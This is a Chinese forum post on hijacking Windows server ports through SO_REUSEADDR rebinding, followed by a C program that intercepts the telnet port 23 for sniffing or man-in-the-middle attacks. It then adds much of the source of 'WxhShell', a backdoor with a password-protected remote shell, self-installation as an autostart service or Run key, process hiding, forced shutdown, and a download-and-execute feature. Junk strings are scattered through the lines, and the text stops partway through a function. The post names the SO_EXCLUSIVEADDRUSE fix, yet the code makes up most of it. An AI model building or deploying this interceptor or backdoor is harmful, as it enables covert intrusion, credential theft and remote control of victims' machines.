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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'c&[kMR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pD@:]VP  
| 2Vhj<6  
  saddr.sin_family = AF_INET; f]pHJVgFV  
9T\uOaC"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @$Xl*WT7  
)_&P:;N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f};RtRo2  
o5@d1A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z bW!c1s{  
bcR";cE  
  这意味着什么?意味着可以进行如下的攻击: ]/9@^D}&  
x/pX?k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B_uhNLd  
/~(T[\E<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J9%I&lu/  
exZgk2[0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2jVvK"C  
'^n,)oA/G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .Ei#mG-=}&  
D_N0j{E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }>5R9  
HUFm@?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =Lh8#>T\h  
|C"zK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |EGC1x]j=  
rNK<p3=7)  
  #include }PXtwp13&u  
  #include &wX568o  
  #include Ia[4P8Z  
  #include    D03QisH=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $$ 9!4  
  int main() p uZY4}b_  
  { q)l1tC72  
  WORD wVersionRequested; d[\$a4G+  
  DWORD ret; <Fi*wV  
  WSADATA wsaData; tCR#TW+IY-  
  BOOL val; E5$Fhc   
  SOCKADDR_IN saddr; [t6Y,yo&h4  
  SOCKADDR_IN scaddr; _,<@II  
  int err; [Ot<8)Jm  
  SOCKET s; uv&4 A,h  
  SOCKET sc; h ^.jK2I  
  int caddsize; j5gL 67B  
  HANDLE mt; `Hx JE"/  
  DWORD tid;   zNO,vR[\  
  wVersionRequested = MAKEWORD( 2, 2 ); x MFo  
  err = WSAStartup( wVersionRequested, &wsaData ); U>i}C_7g  
  if ( err != 0 ) { /u&7!>,  
  printf("error!WSAStartup failed!\n"); *`_ 2uBz  
  return -1; BM o2t'L  
  } :anR/  
  saddr.sin_family = AF_INET; [ KDNKK  
   Z?<&@YQS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uhm3}mWv  
h:AB`E1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YfstE3BV  
  saddr.sin_port = htons(23); a)8;P7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0<XxR6w  
  { <74r  
  printf("error!socket failed!\n"); V}MRdt7  
  return -1; I&%KOe0  
  } Eb7GiRT#  
  val = TRUE; "$nff=]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nh]HEG0CZJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eMLcm ZJR  
  { &X6hOc:``\  
  printf("error!setsockopt failed!\n"); cX#U_U~d  
  return -1; 8Sk$o.Gy  
  } 8 KRo<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Zg4kO;r08  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $!vK#8-&{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z?Cez*.h>  
[VE>{4]W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T<%%f.x[s  
  { 7lx]`u>  
  ret=GetLastError(); rhDiIO_  
  printf("error!bind failed!\n"); [;Jq=G8&t  
  return -1; z?t75#u9.  
  } %l3f .  
  listen(s,2); #l 6QE=:  
  while(1) n#5S-z1KNw  
  { n}dLfg *  
  caddsize = sizeof(scaddr); R:`)*=rL%  
  //接受连接请求 +xuj]J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A!v:W6yiz  
  if(sc!=INVALID_SOCKET) e0M'\'J  
  { @Hl+]arUh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G+t=+T2m  
  if(mt==NULL) T|2v1Vj  
  { XE8%t=V!c$  
  printf("Thread Creat Failed!\n"); y7Nd3\v [\  
  break; P7epBWqDP  
  } L1kA AR  
  } mgTzwE_\  
  CloseHandle(mt); MnP+L'|  
  } B2Kh~Xd  
  closesocket(s); X.V4YmZ- ;  
  WSACleanup(); */OKg;IMi  
  return 0; bZ#5\L2  
  }   6MpV ,2:>  
  DWORD WINAPI ClientThread(LPVOID lpParam) ; Kh!OBZFo  
  { nwVW'M]r  
  SOCKET ss = (SOCKET)lpParam; 4>Y*owa4  
  SOCKET sc; Nj.;mr<  
  unsigned char buf[4096]; BZ,{gy7g7X  
  SOCKADDR_IN saddr; (K('@W%\?  
  long num; hOYP~OR  
  DWORD val; MvTp%d.  
  DWORD ret; xKkXr-yb`f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qJJ}, 4}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7u:QT2=&  
  saddr.sin_family = AF_INET; yG^pND>_df  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~sdM~9@ '  
  saddr.sin_port = htons(23); }/4),W@<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d(K}v\3!  
  { Z^J 7r&\V  
  printf("error!socket failed!\n"); \zeuvD  
  return -1; BZ(DP_}&D  
  } "y60YYn-#J  
  val = 100; ^I{/j 'b&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X%T%N;P  
  { JL [!8NyU  
  ret = GetLastError(); [{: l?  
  return -1; O"#/>hmv-  
  } kJ?AAPC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <O.|pJus  
  { +$F,!rV-s  
  ret = GetLastError(); %a]Imsm  
  return -1; > qPP_^]  
  } TkVqv v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W![~"7?   
  { \}!/z]u  
  printf("error!socket connect failed!\n"); A1*\ \[  
  closesocket(sc); HM#|&_gV  
  closesocket(ss); 0 Bk-)z|V  
  return -1; O Q$C#:?  
  } Yy;BJ_  
  while(1) S%e)br}  
  { 1B@7#ozWA?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5?0~7^de  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pj_*,L`mZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {q^UWv?1  
  num = recv(ss,buf,4096,0); 4(,M&NC  
  if(num>0) xW7[VTXc^  
  send(sc,buf,num,0); P&yB(M-z  
  else if(num==0) F:~@e(  
  break; ay#f\P!1  
  num = recv(sc,buf,4096,0); =2YXh,i  
  if(num>0) :? s{@7  
  send(ss,buf,num,0); c& K`t  
  else if(num==0) /&9R*xNST#  
  break; JIsi  
  } yq1 G6hw  
  closesocket(ss); +|TXKhm{  
  closesocket(sc); '2UQN7@d  
  return 0 ; 06?d#{?M1o  
  } bz1AmNZG  
Y[W:Zhl;  
50`|#zF^#  
========================================================== RRQIlI<  
)i_:[ l6  
下边附上一个代码,,WXhSHELL IyM:9=}5  
5hh6;)  
========================================================== LnM$@  
'rq@9$h1W  
#include "stdafx.h" !,C8  
xdVsbW)L2  
#include <stdio.h> [Zzztn+  
#include <string.h> SM1L^M3)  
#include <windows.h> QKhGEW~G  
#include <winsock2.h> +N'&6z0Wf  
#include <winsvc.h> Z:^ S-h  
#include <urlmon.h> 2H`>Kj  
3d,:,f|h  
#pragma comment (lib, "Ws2_32.lib") #hk5z;J5  
#pragma comment (lib, "urlmon.lib") Q3Y(K\  
.gM6m8l9wp  
#define MAX_USER   100 // 最大客户端连接数 y.s\MWvv>u  
#define BUF_SOCK   200 // sock buffer ML0_Uc3en  
#define KEY_BUFF   255 // 输入 buffer x 0K#-  
}0f~hL24  
#define REBOOT     0   // 重启 6G}4KGQc  
#define SHUTDOWN   1   // 关机 7- C])9  
nwzyL`kF  
#define DEF_PORT   5000 // 监听端口 Az-!X!O*f  
A8o)^T(vJ  
#define REG_LEN     16   // 注册表键长度 y7R=zkd C9  
#define SVC_LEN     80   // NT服务名长度 s%8,'3&  
nyxoa/  
// 从dll定义API -f1lu*3\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >&k`NXS|V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `m #i|8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YLS*uXB&.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @= =)  
!6z{~Z:   
// wxhshell配置信息 |68u4zK  
struct WSCFG { F/[m.!Eo  
  int ws_port;         // 监听端口 /a9CqK  
  char ws_passstr[REG_LEN]; // 口令 (_6JQn  
  int ws_autoins;       // 安装标记, 1=yes 0=no KD\sU6  
  char ws_regname[REG_LEN]; // 注册表键名 ==oJhB  
  char ws_svcname[REG_LEN]; // 服务名 Z[B:6\oQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3g5r}Ug  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =''b`T$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e Qk5:{[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c=QN!n:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,yvS c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZHlHnUo  
Le{.B@2-"  
}; ^FVmP d*1  
n)z:C{  
// default Wxhshell configuration y y[Y=  
struct WSCFG wscfg={DEF_PORT, `%EcQ}Nr  
    "xuhuanlingzhe", #&fu"W+D96  
    1, 0\s&;@xKk  
    "Wxhshell", da_0{;wR  
    "Wxhshell", z#rp8-HUDS  
            "WxhShell Service", <G`1(,g  
    "Wrsky Windows CmdShell Service", @8+v6z  
    "Please Input Your Password: ", )C mHC3  
  1, '#e T  
  "http://www.wrsky.com/wxhshell.exe", g}uSIv^  
  "Wxhshell.exe" /L5:/Z  
    }; i[ws%GfEv  
JAI.NKB3  
// 消息定义模块 LafBf6wds  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 45$aq~%as  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wO`G_!W9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VZ y$0*  
char *msg_ws_ext="\n\rExit."; zA:q/i  
char *msg_ws_end="\n\rQuit."; z|Yt|W  
char *msg_ws_boot="\n\rReboot..."; c&{= aIe w  
char *msg_ws_poff="\n\rShutdown...";  Y(2Z<d  
char *msg_ws_down="\n\rSave to "; ]VE3u_kR  
(/!@ -]1  
char *msg_ws_err="\n\rErr!"; Q<ia  
char *msg_ws_ok="\n\rOK!"; }UQ,B  
q^n LC6q  
char ExeFile[MAX_PATH]; qDhZC*"9#D  
int nUser = 0; >l/pwb@  
HANDLE handles[MAX_USER]; DUH_LnHw)  
int OsIsNt; `PvS+>q  
 6pfkv2.}  
SERVICE_STATUS       serviceStatus; z"QXPIXPk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W}}ZP];  
&^uaoB0  
// 函数声明 7,V_5M;t  
int Install(void); U>m{B|H  
int Uninstall(void); ^N 4Y*NtV7  
int DownloadFile(char *sURL, SOCKET wsh); MpvGF7H  
int Boot(int flag); ^tWSu?9  
void HideProc(void); k B4Fz  
int GetOsVer(void); 0uPcEpIA  
int Wxhshell(SOCKET wsl); 0Zo><=  
void TalkWithClient(void *cs); ,:MUf]Ky  
int CmdShell(SOCKET sock); ^Jdg%U?  
int StartFromService(void); EM!S ;i  
int StartWxhshell(LPSTR lpCmdLine); s*Z yr%R  
O, :|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4mEJu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )  LTV+?  
ggYi7Wzsd  
// 数据结构和表定义 F M YcZ+4  
SERVICE_TABLE_ENTRY DispatchTable[] = rd$T6!I  
{ GC3d7  
{wscfg.ws_svcname, NTServiceMain}, Fm6]mz%~u#  
{NULL, NULL} GK6CnSV8d  
}; UX.rzYM&T  
Kxeq Q@  
// 自我安装 6c/0OM#  
int Install(void) Cw kQhj?  
{ LTH, a?lD  
  char svExeFile[MAX_PATH]; XFl&(I4tB  
  HKEY key; :?m"kh ~  
  strcpy(svExeFile,ExeFile); C=U4z|Ym  
9f5~hBlo  
// 如果是win9x系统,修改注册表设为自启动 1&7?f  
if(!OsIsNt) { O:RN4/17  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) =x4+)9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 589fr"Ma,6  
  RegCloseKey(key); j \d)#+;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K V?+9qa,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j]5e$e{  
  RegCloseKey(key); KV9~L`=]i  
  return 0; DRXUQH  
    } B9cWxe4R#  
  } *ezft&{)`  
} {)!ua7GF0H  
else { 9L4;#cy  
{.o4U0+  
// 如果是NT以上系统,安装为系统服务 A=e1uBGA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GkU$Z @  
if (schSCManager!=0) Zp6VH  
{ eWD!/yr|  
  SC_HANDLE schService = CreateService /l3Oi@\  
  ( Gi$\th,  
  schSCManager, KZ^>_K&  
  wscfg.ws_svcname, wc"~8Ah  
  wscfg.ws_svcdisp, }j2t8B^&:  
  SERVICE_ALL_ACCESS, D;+Y0B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w T_l>u  
  SERVICE_AUTO_START, 4 2-T&7k  
  SERVICE_ERROR_NORMAL, f(!cz,y^\*  
  svExeFile, xCT2FvX6  
  NULL, d/$e#8  
  NULL, sE|8a  
  NULL, VsK8:[Al  
  NULL, $ kMe8F_  
  NULL m] p]J_6A  
  ); ~HT:BO$  
  if (schService!=0) %(POC=b#[  
  { TM_bu  
  CloseServiceHandle(schService); -O/[c  
  CloseServiceHandle(schSCManager); V2@( BliP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ Hj c?*  
  strcat(svExeFile,wscfg.ws_svcname); +2Aggv>*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xq ew~R^MP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *UN*&DmF  
  RegCloseKey(key); ^"vmIC.h  
  return 0; -qpM 6t  
    } '%*hs8s  
  } 6Iz!_  
  CloseServiceHandle(schSCManager); pI>GusXg  
} n: {f\  
} <4/q5*&  
|q\i, }  
return 1; cSG(kFQ  
} > #9 a&O  
BrzTOkeyG  
// 自我卸载 j/E(*Hv  
int Uninstall(void) J\'f5)k  
{ bS55/M w  
  HKEY key; ^U,C])n  
a_b+RMy  
if(!OsIsNt) { By}ZHK94I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,,#6SR(n  
  RegDeleteValue(key,wscfg.ws_regname); 78?{;iNv  
  RegCloseKey(key); L6!Hv{ijn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F4Cq85#  
  RegDeleteValue(key,wscfg.ws_regname); }20tdD ~  
  RegCloseKey(key); 2@HmZ!|Q  
  return 0; O]F(vHK\   
  } +x4*T  
} 4ISIg\:c*  
} pXh`o20I  
else { I!K-* AB  
o4z|XhLr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T`<Tj?:^&  
if (schSCManager!=0) "15frr?  
{ 92b}N|u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JV/:QV  
  if (schService!=0) d$?+>t/  
  { HFz;"s3lWM  
  if(DeleteService(schService)!=0) { BI!EmA  
  CloseServiceHandle(schService); Fy.!amXu  
  CloseServiceHandle(schSCManager); N"~P$B1 X  
  return 0; r(n>N0:0Ls  
  } v6=X]Ji{YA  
  CloseServiceHandle(schService); k>!i _lb  
  } rploQF~OFF  
  CloseServiceHandle(schSCManager); S'@Ok=FSy  
} MBQ|*}+;  
} YuzVh9jTI  
>I&s%4  
return 1; 8Vt'X2  
} {\LLiU}MJC  
?\X9Ei  
// 从指定url下载文件 l%yQ{loTh  
int DownloadFile(char *sURL, SOCKET wsh) jrttWT  
{ {sq:vu@NC  
  HRESULT hr; 65RD68a  
char seps[]= "/"; TvRm 7  
char *token; vn@sPT  
char *file; /&c>*4)  
char myURL[MAX_PATH]; bV#j@MJ~0  
char myFILE[MAX_PATH]; n1'i!NWt  
X?`mYoe  
strcpy(myURL,sURL); M%SNq|Lo  
  token=strtok(myURL,seps); nKTi"2dm  
  while(token!=NULL) a785xSUV  
  { Wm)Id_  
    file=token; YXdo&'Q<qX  
  token=strtok(NULL,seps); ?D_}',Wx  
  } :."+&gb  
6_tl_O7  
GetCurrentDirectory(MAX_PATH,myFILE); F2)KAIl  
strcat(myFILE, "\\"); 9u3P>a~b  
strcat(myFILE, file); %\!0*(8  
  send(wsh,myFILE,strlen(myFILE),0); u:wijkx  
send(wsh,"...",3,0); xKepZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4"^W/Zo  
  if(hr==S_OK) X@)'E9g5:  
return 0; ~1S,[5u|s  
else F hyY+{%  
return 1; (4rHy*6  
rj1%IzaXU^  
} |0_5iFAB|  
E?Qg'|+_  
// 系统电源模块 jD6T2K7i  
int Boot(int flag) +p]@b  
{ 'S=eW_ 0/  
  HANDLE hToken; 4>N ig.#   
  TOKEN_PRIVILEGES tkp; : ' pK  
W(.svJUgb.  
  if(OsIsNt) { dLR[<@E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rvb@4-i>iI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |H 5$VSw  
    tkp.PrivilegeCount = 1; oj ,;9{-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z 5~X3k7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jt?`(H  
if(flag==REBOOT) { |Fq\%y#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0p\Kf(|E*6  
  return 0; IZd~Am3f  
} sLK$H|%>m  
else { *WWDwY@!u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =">0\#  
  return 0; lr -+|>M)  
} =65XT^  
  } !!~r1)zN  
  else { G=kW4rAk  
if(flag==REBOOT) { ~ntDzF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J DOs.w  
  return 0; 4#ifm#  
} +.m:-^9  
else { DKl\N~{F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <jLL2-5r0  
  return 0; w.=rea~  
} `vf]C'  
} C2DAsSw  
GAh\ 6ul  
return 1; &u (pBr8B  
} 8Qkwg]X  
OY!WEP$F-C  
// win9x进程隐藏模块 JbXi|OS/  
void HideProc(void) =>GGeEL  
{ tS,AS,vy]  
8N`Rf; BM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >aCY  
  if ( hKernel != NULL ) m\|EM'@k  
  { aQj6XG u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H*",'`|-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W4nhPH(  
    FreeLibrary(hKernel); iU# "G" &  
  } }0OQm?xh  
S*WLb/R2  
return; x3nUKQtk:8  
} ]BmnE#n&  
CUaL  
// 获取操作系统版本 $vn x)#r3  
int GetOsVer(void) #"[EVF0%1D  
{ P|;f>*^Y  
  OSVERSIONINFO winfo; J d,9<m $  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); shVEAT'`  
  GetVersionEx(&winfo); U.N& ~S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xl>ZnI];  
  return 1; -L wz T  
  else w@a|_?  
  return 0; ')(U<5y)  
} $ao7pvU6  
c/Li,9cT'  
// 客户端句柄模块 Zk31|dL  
int Wxhshell(SOCKET wsl) 1I8<6pi-  
{ TA~ZN^xI  
  SOCKET wsh; k#8E9/ t@  
  struct sockaddr_in client; GB)< 5I  
  DWORD myID; /?}2OCq  
/9?yw!  
  while(nUser<MAX_USER) 0XA0 b1VX  
{ yFTN/MFt  
  int nSize=sizeof(client); 6E_YUk?KW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =(v'8?--  
  if(wsh==INVALID_SOCKET) return 1; zV"'-iP  
<." @H<-`*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l}D /1~d  
if(handles[nUser]==0) S&c5Q*->[  
  closesocket(wsh); " #w%sG^_  
else +IlQZwm~  
  nUser++; +Y>oNX1KN  
  } ]y"=/Nu-Ja  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .P ??N  
8,&Y\b`..  
  return 0;  C8} ;,  
} | vxmgX)  
bfK4ps}m*  
// 关闭 socket .k|\xR  
void CloseIt(SOCKET wsh) FRayB VHL  
{ OLqynY  
closesocket(wsh); ^szi[Cj  
nUser--; P5lk3Zg '  
ExitThread(0); Iq 0ew  
} 1*trtb4F  
zqp>Xw  
// 客户端请求句柄 EWOa2^%}Z\  
void TalkWithClient(void *cs) vXG?8Q  
{ Xu|2@?l9  
*dsI>4%m  
  SOCKET wsh=(SOCKET)cs; LbR'nG{J  
  char pwd[SVC_LEN]; +/hd;s$x  
  char cmd[KEY_BUFF]; y!_8m#n S  
char chr[1]; 3kVN[0  
int i,j; Au:R]7   
z A/Fh(uX  
  while (nUser < MAX_USER) { D?4bp'0 3  
4EaxU !BT  
if(wscfg.ws_passstr) { ieXi6^M$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8uA!Vrp3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jw{ duM;]  
  //ZeroMemory(pwd,KEY_BUFF); #RHt;SFx  
      i=0; 6r`Xi&  
  while(i<SVC_LEN) { 4I*'(6 ,!  
1had8K-  
  // 设置超时 [c v!YE  
  fd_set FdRead; NB-%Tp*d  
  struct timeval TimeOut; 8fP TxvXqL  
  FD_ZERO(&FdRead); >oC{YYcK  
  FD_SET(wsh,&FdRead); `O0y8  
  TimeOut.tv_sec=8; d;{k,rP6  
  TimeOut.tv_usec=0; O9AFQ)u   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ep3I*bQ Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aS~~*UHW  
[* @ +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uJ0Wb$%  
  pwd=chr[0]; }^^c/w_  
  if(chr[0]==0xd || chr[0]==0xa) { flOXV   
  pwd=0; R]0`-_T  
  break; FW{K[km^P  
  } '"'RC O  
  i++; ,RP9v*  
    }  {@k , e  
> }kZXeR|  
  // 如果是非法用户,关闭 socket [8K :ml  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #L57d  
} &2I8!Ia  
F@zTz54t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L$y~\1-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z";(0%  
W{~ y< `D  
while(1) { s^Xs*T@~h  
t]?{"O1rC  
  ZeroMemory(cmd,KEY_BUFF); 7OS i2  
08! _B\  
      // 自动支持客户端 telnet标准   4&v&XLkb  
  j=0; f>3)}9?xc}  
  while(j<KEY_BUFF) { n^*,JL 9@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \C4wWh-A  
  cmd[j]=chr[0]; <2~DI0pp(  
  if(chr[0]==0xa || chr[0]==0xd) { .i^ @v<+  
  cmd[j]=0; .K`n;lVs  
  break; -<M+$hK\  
  } 'pB?  
  j++; ukRmjHbLf  
    } Mc$rsqDz  
E[4 vUnm-  
  // 下载文件 L!,@_   
  if(strstr(cmd,"http://")) { =d]}7PO ~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( GoPXh  
  if(DownloadFile(cmd,wsh)) }}k*i0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5u3KL A  
  else ?Mn~XN4F_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {dn:1IcN  
  } l}&2A*c.  
  else { M0OIcMTv  
k4E9=y?  
    switch(cmd[0]) { JAT%s %UC  
  @AK&R~<  
  // 帮助 @]p {%"$  
  case '?': { =K}T; c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PZlPC#E-  
    break; bm4Bq>*=U  
  } kE|x'(x  
  // 安装 T8Q_JQ  
  case 'i': { Hi*|f!,H?  
    if(Install()) '?g&);4)k-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Ng?U+6  
    else M^>l>?#rl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lcgG5/82  
    break; L4bYVTm|  
    } PsD)]V9%:  
  // 卸载 0rm(i*Q  
  case 'r': { o[i*i<jv-  
    if(Uninstall()) TQ0ZBhd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sw5:T  
    else 5HE5$S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 69apTx  
    break; ~t ZB1+%)  
    } sg49a9`8  
  // 显示 wxhshell 所在路径 )VqPaKZl  
  case 'p': { oe0YxSauL  
    char svExeFile[MAX_PATH]; nwC*w`4  
    strcpy(svExeFile,"\n\r");  |=![J?  
      strcat(svExeFile,ExeFile); sLXM$SMBh  
        send(wsh,svExeFile,strlen(svExeFile),0); >Gk<a  
    break; Q1rEUbvCE  
    } hZ!kh3@:`  
  // 重启 # ,eC&X45  
  case 'b': { WWH<s%C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &m   GU  
    if(Boot(REBOOT)) 3la`S$c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B([-GpZt[  
    else { c_?^:xs:d  
    closesocket(wsh); sUK|*y  
    ExitThread(0); m^3j|'mG  
    } T?6<1nU)  
    break; C=v+e%)x@  
    } 9!Jt}n?!g  
  // 关机 2oRwDg&7|  
  case 'd': { r>TOJVT&]  
